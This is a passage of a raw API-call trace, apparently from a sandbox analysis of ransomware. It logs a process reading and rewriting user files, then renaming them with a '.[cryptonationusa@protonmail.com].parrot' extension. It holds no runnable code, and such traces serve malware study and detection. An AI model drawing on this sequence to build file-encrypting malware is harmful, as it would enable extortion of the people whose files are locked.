out: lpNewFilePointer=0xffffffff) returned 1 [0088.796] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.797] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.797] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12c99, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x12c99, lpOverlapped=0x0) returned 1 [0088.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0088.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.798] GetLastError () returned 0x0 [0088.801] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0088.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x65d230 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x65d230 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x65e048 [0088.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x65f588 [0088.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65e048 | out: hHeap=0x5b0000) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661550 [0088.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f588 | out: hHeap=0x5b0000) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6644e8 [0088.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661550 | out: hHeap=0x5b0000) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x65d230 [0088.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6644e8 | out: hHeap=0x5b0000) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3162050 [0088.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3150048 [0088.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0088.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2272fb0 [0088.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.805] WriteFile (in: hFile=0x270, lpBuffer=0x2272fc0*, nNumberOfBytesToWrite=0x12db8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2272fc0*, lpNumberOfBytesWritten=0x18f1c4*=0x12db8, lpOverlapped=0x0) returned 1 [0088.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272fb0 | out: hHeap=0x5b0000) returned 1 [0088.806] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12db1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.806] CloseHandle (hObject=0x270) returned 1 [0088.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0088.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.806] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mvy6qssMNpXkobpv.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mvy6qssmnpxkobpv.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mvy6qssMNpXkobpv.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mvy6qssmnpxkobpv.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0088.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.859] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.859] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.860] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.860] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x45d4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x45d4, lpOverlapped=0x0) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0088.860] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.861] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.861] GetLastError () returned 0x0 [0088.862] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x3158088 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158088 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3158088 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x3158ea0 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158088 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x315a3e0 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158ea0 | out: hHeap=0x5b0000) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x315c3a8 [0088.863] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315a3e0 | out: hHeap=0x5b0000) returned 1 [0088.864] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x65d230 [0088.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315c3a8 | out: hHeap=0x5b0000) returned 1 [0088.864] WriteFile (in: hFile=0x270, lpBuffer=0x65d240*, nNumberOfBytesToWrite=0x46f8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x65d240*, lpNumberOfBytesWritten=0x18f1c4*=0x46f8, lpOverlapped=0x0) returned 1 [0088.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.865] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.865] CloseHandle (hObject=0x270) returned 1 [0088.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0088.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.865] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\OObdsx5Ibk_3SJ1I5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oobdsx5ibk_3sj1i5.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\OObdsx5Ibk_3SJ1I5.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\oobdsx5ibk_3sj1i5.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0088.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.868] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.868] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.869] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.869] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x802a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x802a, lpOverlapped=0x0) returned 1 [0088.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0088.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.870] GetLastError () returned 0x0 [0088.871] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0088.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x65d230 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x65d230 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x65e048 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x65f588 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65e048 | out: hHeap=0x5b0000) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661550 [0088.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f588 | out: hHeap=0x5b0000) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6644e8 [0088.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661550 | out: hHeap=0x5b0000) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 